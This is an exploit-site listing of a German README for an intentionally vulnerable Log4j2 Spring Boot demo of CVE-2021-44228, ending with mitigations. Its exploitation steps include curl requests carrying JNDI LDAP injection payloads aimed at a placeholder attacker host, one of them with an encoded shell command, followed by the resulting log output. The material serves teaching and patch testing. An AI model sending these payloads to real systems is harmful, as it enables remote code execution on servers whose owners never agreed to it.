Sploitus

Exploit for log4j2

CVE-2021-44228

kitploit · 2026-08-26

Exploit Code

MARKDOWN77 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PRAVIN-PP-LOG4J2-CVE-2021-44228
# Beispiel für eine verwundbare Log4j2-Anwendung (CVE-2021-44228)

# Betroffene Versionen: alle Versionen von 2.0-beta9 bis 2.14.1

Diese Anwendung basiert auf einer Spring-Boot-Webanwendung, die für CVE-2021-44228 anfällig ist.

Sie verwendet Log4j 2.14.1 (über `spring-boot-starter-log4j2` 2.6.1).

![](https://assets.kitploit.com/production/public/readmes/30792/b9499e193567f16a98a782af6f6c25a8d8a86d7008ce63afa07e9e918485f93a.png)

## Ausführen der Anwendung

Führen Sie sie aus:

root@kitploit:~
    
    
    Importieren Sie das Projekt in einer Java-IDE als Maven-Projekt
    
    Führen Sie CVEMainApplication.java als Spring-Boot-App aus.
    
    

## Schritte zur Ausnutzung

  * Lösen Sie dann den Exploit wie folgt aus:



root@kitploit:~
    
    
    Für GET ->
    curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/efdgt62jjd0002leee=}'
    
    
    Für POST-Anfrage ->
    curl --location --request POST 'http://127.0.0.1:8080/addemployee' \
    --header 'Content-Type: application/json' \
    --data '{
    	"name": "${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}"
    }'
    

  * Beachten Sie die Ausgabe, die zeigt, dass eine Verbindung zum bösartigen LDAP-Server hergestellt wird:



root@kitploit:~
    
    
    021-12-12 12:17:00,579 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.CommunicationException: your-private-ip:1389 [Root exception is java.net.UnknownHostException: your-private-ip]
    
    
    Caused by: java.net.UnknownHostException: your-private-ip
    

  * Wenn Sie die Details eines echten LDAP-Servers angeben, wird das Objekt heruntergeladen und in Ihrem Java-Programm ausgeführt.



## Diese Schwachstelle betrifft alle Server, einschließlich sowohl kundenorientierter als auch Backend-Kernsysteme, wenn Ihre Anwendung Protokollmeldungen mit nicht validierten Daten ausgibt..

  * Beispielsweise könnte eine User-Agent-Zeichenfolge, die den Exploit enthält, an ein in Java geschriebenes Backend-System übergeben werden, das Indizierung oder Data Science durchführt, und der Exploit könnte protokolliert werden. Deshalb ist es von entscheidender Bedeutung, dass alle Java-basierten Anwendungen, die Log4j Version 2 verwenden, sofort gepatcht oder mit Gegenmaßnahmen versehen werden. Selbst wenn die internetzugewandte Software nicht in Java geschrieben ist, ist es möglich, dass Zeichenfolgen an andere Systeme weitergegeben werden, die in Java laufen, wodurch der Exploit ausgelöst werden kann.



![](https://assets.kitploit.com/production/public/readmes/30792/1d21bf8977d8673d9f42d170a53f0384fd4152ccb316a9db555dfed1eece164c.png)

## Gegenmaßnahmen :

Referenz : https://logging.apache.org/log4j/2.x/security.html

  * Schneller Hotfix für die Anwendung -> In Versionen >=2.10 kann dieses Verhalten abgemildert werden, indem entweder die Systemeigenschaft log4j2.formatMsgNoLookups oder die Umgebungsvariable LOG4J_FORMAT_MSG_NO_LOOKUPS auf true gesetzt wird. Für Versionen von 2.0-beta9 bis 2.10.0 besteht die Gegenmaßnahme darin, die Klasse JndiLookup aus dem Klassenpfad zu entfernen: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

  * Aktualisieren Sie in der Anwendung auf log4j 2.15.0 und stellen Sie sie bereit.